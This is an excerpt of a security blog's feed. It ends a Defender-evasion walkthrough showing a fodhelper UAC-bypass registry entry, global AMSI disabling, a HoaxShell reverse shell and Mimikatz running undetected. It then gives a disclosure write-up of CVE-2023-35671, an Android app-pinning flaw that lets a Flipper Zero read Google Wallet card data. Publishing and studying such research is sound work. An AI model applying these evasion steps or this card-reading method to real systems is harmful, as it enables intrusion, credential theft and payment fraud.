</span></pre></td></tr></tbody></table></code></pre></div></div>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="n">Get-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nx">HKCU:\Software\Classes\.MrTiz\Shell\Open\command</span><span class="w">

</span><span class="p">(</span><span class="n">default</span><span class="p">)</span><span class="w">    </span><span class="p">:</span><span class="w"> </span><span class="n">conhost.exe</span><span class="w"> </span><span class="nx">cmd</span><span class="w"> </span><span class="nx">/c</span><span class="w"> </span><span class="nx">C:\Users\MrTiz\Downloads\setup_wm.exe</span><span class="w">
</span><span class="n">PSPath</span><span class="w">       </span><span class="p">:</span><span class="w"> </span><span class="nx">Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Classes\.MrTiz\Shell\Open\command</span><span class="w">
</span><span class="n">PSParentPath</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Classes\.MrTiz\Shell\Open</span><span class="w">
</span><span class="n">PSChildName</span><span class="w">  </span><span class="p">:</span><span class="w"> </span><span class="nx">command</span><span class="w">
</span><span class="n">PSDrive</span><span class="w">      </span><span class="p">:</span><span class="w"> </span><span class="nx">HKCU</span><span class="w">
</span><span class="n">PSProvider</span><span class="w">   </span><span class="p">:</span><span class="w"> </span><span class="nx">Microsoft.PowerShell.Core\Registry</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/uacbypass.png" alt="PowerShell performing the fodhelper.exe UAC bypass: registry keys are added via conhost.exe and fodhelper.exe is launched with no Defender detection" loading="lazy" decoding="async" width="992" height="731" /></p>

<p>As you can see, no detection was raised by Windows Defender, neither after modifying the registry keys nor after running <code class="language-text highlighter-rouge">fodhelper.exe</code>.
At this point, since <code class="language-text highlighter-rouge">setup_wm.exe</code> has been executed again, I terminate the current running session and relaunch <code class="language-text highlighter-rouge">HoaxShell</code>, waiting until, after the 30-second sleep time entered in the payload has expired, a new reverse shell is launched, this time with administrative privileges. Yes, this is precisely the point at which the <code class="language-text highlighter-rouge">Start-Sleep</code> shown earlier becomes useful, to give me time to launch a new listener. Also, since this time <code class="language-text highlighter-rouge">setup_wm.exe</code> will be run with administrative privileges, the first piece of the payload will run, going on to clear the AMSI registry keys, thus disabling it globally. It is important to delete these registry keys before starting a new PowerShell process; otherwise, that process will still be launched with AMSI protection active.</p>

<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/hoaxshell3.png" alt="HoaxShell session restored at high integrity after the UAC bypass; whoami /priv now shows admin privileges including SeDebugPrivilege and SeImpersonatePrivilege" loading="lazy" decoding="async" width="992" height="810" />
<img src="/assets/img/defender-evasion-shellter-hoaxshell/hoaxshell4.png" alt="Continued whoami /priv listing all high-integrity privileges, followed by re-downloading Invoke-Seatbelt.ps1 through the high-integrity session" loading="lazy" decoding="async" width="988" height="810" /></p>

<p>Now our PowerShell process is running with <em>High integrity level</em>. Again, no detection was raised by Windows Defender.
To conclude, let me verify that the global disabling of AMSI actually works by retrying to run <code class="language-text highlighter-rouge">SeatBelt</code> and perhaps <code class="language-text highlighter-rouge">Mimikatz</code> as well.</p>

<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/Invoke-SeatBelt2.png" alt="Invoke-Seatbelt (AnschnallGurt v1.2.2) executing successfully after the global AMSI bypass, proving the disable persists across processes" loading="lazy" decoding="async" width="996" height="655" />
<img src="/assets/img/defender-evasion-shellter-hoaxshell/Invoke-Mimikatz.png" alt="Mimikatz 2.2.0 executed in-memory via Invoke-Mimikatz: token::elevate impersonates NT AUTHORITY/SYSTEM and privilege::debug succeeds" loading="lazy" decoding="async" width="990" height="462" /></p>]]></content><author><name>Tiziano Marra</name></author><category term="evasion" /><category term="defender" /><category term="shellter" /><category term="hoaxshell" /><category term="AMSI" /><category term="UAC" /><category term="bypass" /><summary type="html"><![CDATA[Chaining Shellter Pro's AV/EDR evasion with HoaxShell's HTTP-based C2 to land a fully undetected reverse shell on a Windows 11 target.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://mrtiz.github.io/assets/og/defender-evasion-shellter-hoaxshell.png" /><media:content medium="image" url="https://mrtiz.github.io/assets/og/defender-evasion-shellter-hoaxshell.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">CVE-2023-35671</title><link href="https://mrtiz.github.io/CVE-2023-35671" rel="alternate" type="text/html" title="CVE-2023-35671" /><published>2023-09-12T00:00:00+02:00</published><updated>2023-09-12T00:00:00+02:00</updated><id>https://mrtiz.github.io/CVE-2023-35671</id><content type="html" xml:base="https://mrtiz.github.io/CVE-2023-35671"><![CDATA[<p>Android App Pin security issue exposes payment cards in Google Wallet to unauthorized payments.</p>

<h2 id="table-of-contents">Table of Contents</h2>
<ul>
  <li><a href="#table-of-contents">Table of Contents</a></li>
  <li><a href="#what-is-android-app-pinning">What is Android App Pinning?</a></li>
  <li><a href="#about-the-issue">About the issue</a></li>
  <li><a href="#getting-started">Getting Started</a>
    <ul>
      <li><a href="#prerequisites">Prerequisites</a></li>
      <li><a href="#proof-of-concept">Proof of Concept</a>
        <ul>
          <li><a href="#full-poc-video">Full PoC video</a></li>
          <li><a href="#poc-step-by-step-using-screenshots">PoC step-by-step using screenshots</a></li>
        </ul>
      </li>
    </ul>
  </li>
  <li><a href="#documentation">Documentation</a></li>
  <li><a href="#authors">Authors</a></li>
  <li><a href="#disclaimer">Disclaimer</a></li>
</ul>

<h2 id="what-is-android-app-pinning">What is Android App Pinning?</h2>
<p>Android app pinning, initially known as ‘screen pinning’, was introduced with Android 5.0 Lollipop (API level 21), released on November 12, 2014. This robust security mechanism enhances user control, privacy, and data security on Android devices.</p>

<p>App pinning empowers users to confine their device to a single app, effectively limiting access to other applications and sensitive information. This functionality proved invaluable in scenarios where sharing a device, interacting with public terminals, or maintaining a highly focused work environment was essential. By doing so, it prevents unauthorized access to personal data, applications, and settings, contributing to an overall more secure digital experience.</p>

<p>The process of utilizing app pinning typically involves the following steps:</p>

<ol>
  <li><strong>Enabling App Pinning</strong>: Users can activate this feature through their device settings (<code class="language-text highlighter-rouge">Settings</code> –&gt; <code class="language-text highlighter-rouge">Security &amp; privacy</code> –&gt; <code class="language-text highlighter-rouge">More security settings</code> –&gt; <code class="language-text highlighter-rouge">App pinning</code>). Once enabled, they can select the app they wish to pin.</li>
  <li><strong>Entering Pinned Mode</strong>: Upon launching the desired app, users initiate the pinning process. This action locks the device into the selected app’s interface.</li>
  <li><strong>Restricted App Interaction</strong>: While in pinned mode, all other apps become temporarily inaccessible. Attempts to switch to another app, access notifications, or perform other functions will prompt the device to remain within the pinned app.</li>
  <li><strong>Exiting Pinned Mode</strong>: To exit this mode, users typically need to provide an additional layer of authentication, such as entering a pre-set PIN, pattern, password, or using biometric recognition (like fingerprints or facial recognition). This extra layer ensures that only authorized users can leave the pinned app environment.</li>
</ol>

<p>Benefits of Android app pinning include:</p>

<ul>
  <li><strong>Privacy and Security</strong>: Pinned mode prevents unauthorized access to personal data, sensitive applications, and confidential information.</li>
  <li><strong>Public Terminals</strong>: App pinning proves useful in situations like kiosks or shared devices, as it restricts users to a specific application, minimizing the risk of unauthorized access and data exposure.</li>
  <li><strong>Focus and Productivity</strong>: Users can create focused work environments by limiting their device’s capabilities to a single task-oriented application.</li>
  <li><strong>Parental Controls</strong>: Parents can utilize app pinning to restrict their children’s device usage to specific educational or age-appropriate apps.</li>
</ul>

<p>In summary, Android app pinning, previously known as ‘screen pinning’, was introduced with Android 5.0 Lollipop and provides granular control over device functionality and access. By designating a specific app for use and requiring authentication to exit that mode, it offers enhanced security, privacy, and focused engagement with digital content.</p>

<h2 id="about-the-issue">About the issue</h2>
<p>In <code class="language-text highlighter-rouge">onHostEmulationData</code> of <code class="language-text highlighter-rouge">HostEmulationManager.java</code>, there is a possible way for a general purpose NFC reader to read the full card number and expiry details when the device is in locked screen mode due to a logic error in the code. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.<sup><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-35671">REF</a></sup></p>

<p>Google has calculated a high severity for this vulnerability.</p>

<h2 id="getting-started">Getting Started</h2>
<p>Through the following PoC you can test this vulnerability on your Android smartphone.</p>

<h3 id="prerequisites">Prerequisites</h3>
<ul>
  <li>Android smartphone;</li>
  <li>
    <p>App Pinning functionality, with the option <code class="language-text highlighter-rouge">Ask for PIN before unpinning</code>, must be enabled in system settings;</p>

    <p><img loading="lazy" decoding="async" src="/assets/img/CVE-2023-35671/App_pinning.png" alt="Android App pinning settings with 'Ask for PIN before unpinning' toggle enabled" width="462" height="1000" /></p>
  </li>
  <li>
    <p>At least one payment card configured in Google Wallet;</p>

    <p><img loading="lazy" decoding="async" src="/assets/img/CVE-2023-35671/GoogleWallet.png" alt="Google Wallet home screen with an N26 Mastercard debit card added" width="462" height="1000" /></p>
  </li>
  <li>
    <p>An NFC reader for payment cards, e.g. <strong><a href="https://flipperzero.one">Flipper Zero</a></strong>.</p>

    <p><img loading="lazy" decoding="async" src="/assets/img/CVE-2023-35671/FlipperZero.png" alt="Flipper Zero multi-tool device with the dolphin mascot on its display" width="1161" height="511" /></p>
  </li>
  <li>
    <p>NFC, with the option <code class="language-text highlighter-rouge">Require device unlock for NFC</code>, must be enabled on the smartphone.</p>

    <p><img loading="lazy" decoding="async" src="/assets/img/CVE-2023-35671/NFC_settings.png" alt="Android NFC settings with 'Require device unlock for NFC' toggle enabled" width="462" height="1000" /></p>
  </li>
</ul>

<h3 id="proof-of-concept">Proof of Concept</h3>
<p>A <code class="language-text highlighter-rouge">Google Pixel 7 Pro</code> running Android 13 was used for this PoC; all builds released before September 2023 are vulnerable:</p>

<p><img loading="lazy" decoding="async" src="/assets/img/CVE-2023-35671/Device_model.png" alt="Android About phone screen showing Model: Pixel 7 Pro and Android version 13" width="462" height="1000" /> <img loading="lazy" decoding="async" src="/assets/img/CVE-2023-35671/Device_build.png" alt="Android About phone screen showing Build number TQ3A.230805.001" width="462" height="1000" /></p>

<h4 id="full-poc-video">Full PoC video</h4>

<p><a href="https://youtu.be/reNinRDiBkM"><img loading="lazy" decoding="async" src="/assets/img/CVE-2023-35671/hqdefault.png" alt="YouTube thumbnail for the CVE-2023-35671 PoC video: a Flipper Zero reading an N26 card from a Pixel 7 Pro" width="1280" height="720" /></a></p>

<h4 id="poc-step-by-step-using-screenshots">PoC step-by-step using screenshots</h4>

<ol>
  <li>
    <p>Open any app; in this PoC the <strong><code class="language-text highlighter-rouge">Brave</code></strong> browser app was chosen:</p>

    <p><img loading="lazy" decoding="async" src="/assets/img/CVE-2023-35671/Brave_unpinned.png" alt="Brave browser displaying the github.com/MrTiz profile page before pinning" width="462" height="1000" /></p>
  </li>
  <li>
    <p>Pin the app:</p>

    <p><img loading="lazy" decoding="async" src="/assets/img/CVE-2023-35671/Brave_pinning_1.png" alt="Android Recents overview with a red arrow highlighting the Brave app card" width="462" height="1000" /> <img loading="lazy" decoding="async" src="/assets/img/CVE-2023-35671/Brave_pinning_2.png" alt="Android app-overview long-press menu on Brave with the 'Pin' option highlighted" width="462" height="1000" /></p>

    <p><img loading="lazy" decoding="async" src="/assets/img/CVE-2023-35671/Brave_pinning_3.png" alt="Android 'App is pinned' confirmation dialog explaining swipe-up-and-hold to unpin" width="462" height="1000" /> <img loading="lazy" decoding="async" src="/assets/img/CVE-2023-35671/Brave_pinning_4.png" alt="Brave browser with an 'App pinned' toast notification confirming pinning succeeded" width="462" height="1000" /></p>
  </li>
  <li>
    <p>Now unpin the app by performing the same action (<em>Swipe up &amp; hold</em>) you would perform if you wanted to view the “<a href="https://developer.android.com/guide/components/activities/recents">Recents screen</a>” list; the Android lock screen will open, prompting you to unlock the device via one of the enabled lock methods:</p>

    <p><img loading="lazy" decoding="async" src="/assets/img/CVE-2023-35671/LockScreen.png" alt="Android lock screen shown after the unpin attempt, with the Wallet shortcut visible in the bottom-right corner" width="462" height="1000" /></p>
  </li>
  <li>
    <p>You can now use the <strong>Flipper Zero</strong> device to read the payment card data registered in Google Wallet:</p>

    <p><img src="/assets/img/CVE-2023-35671/poc.gif" alt="Animated proof of concept: the Flipper Zero reads NFC card data from the locked Pixel 7 Pro through Google Wallet" loading="lazy" decoding="async" width="240" height="426" /></p>

    <p><img loading="lazy" decoding="async" src="/assets/img/CVE-2023-35671/GoogleWallet_exploited_1.png" alt="Google Wallet showing a 'Phone moved too fast' error triggered by the Flipper Zero NFC read" width="462" height="1000" /> <img loading="lazy" decoding="async" src="/assets/img/CVE-2023-35671/GoogleWallet_exploited_2.png" alt="Google Wallet contactless payment prompt appearing on the locked device: 'Hold this part of your phone to the terminal until you see a check mark'" width="462" height="1000" /></p>

    <p><img loading="lazy" decoding="async" src="/assets/img/CVE-2023-35671/FlipperZero_output.png" alt="Flipper Zero display showing the leaked Mastercard debit card details read via NFC: card number, expiration, currency EUR, region ITA" width="2219" height="1000" /></p>
  </li>
</ol>

<p><strong>N.B.</strong> if a real P.O.S. (Point Of Sale) had been used instead of the Flipper Zero, the smartphone would have made an unauthorized payment because the smartphone was not unlocked (the <code class="language-text highlighter-rouge">Require device unlock for NFC</code> option is enabled).</p>

<h2 id="documentation">Documentation</h2>
<ul>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-35671">CVE-2023-35671</a></li>
  <li><a href="https://android.googlesource.com/platform/packages/apps/Nfc/+/745632835f3d97513a9c2a96e56e1dc06c4e4176">Patch</a></li>
  <li><a href="https://source.android.com/docs/security/bulletin/2023-09-01?hl=en#system">Bulletin</a></li>
  <li><a href="https://source.android.com/docs/security/overview/acknowledgements?hl=en#september-2023">Acknowledgements</a></li>
</ul>

<h2 id="authors">Authors</h2>
<ul>
  <li><strong><a href="https://github.com/MrTiz">Tiziano Marra</a></strong></li>
</ul>

<h2 id="disclaimer">Disclaimer</h2>
<p>The author of that PoC (Proof of Concept) and discoverer of the vulnerability would like to clarify that all information provided in this repository is for educational and research purposes only. The author does not endorse or support the use of this information for illegal or malicious purposes in any way. The author assumes no responsibility for any unlawful use that may arise from the knowledge of this vulnerability or the use of the PoC.</p>

<p>Furthermore, the author disclaims any liability for any damage caused to devices, systems, or data involved in the implementation of the PoC or resulting from the application of suggested fixes or mitigation measures. Users who choose to utilize the information contained in this repository do so at their own risk, assuming full responsibility for the consequences of their actions.</p>

<p>It is strongly advised to use the information provided here in a controlled environment and only with explicit consent from the owners of the systems in question.</p>

<p>The author is committed to positively contribute to the security of information technology and encourages all users to abide by applicable laws and regulations, as well as to conduct ethical research and disclosure of vulnerabilities.</p>]]></content><author><name>Tiziano Marra</name></author><category term="cve" /><category term="android" /><category term="app-pinning" /><category term="flipperzero" /><category term="googlewallet" /><summary type="html"><![CDATA[How I bypassed Android's app-pinning protection on Google Wallet using a Flipper Zero BadUSB payload, and how Google patched it.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://mrtiz.github.io/assets/og/CVE-2023-35671.png" /><media:content medium="image" url="https://mrtiz.github.io/assets/og/CVE-2023-35671.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>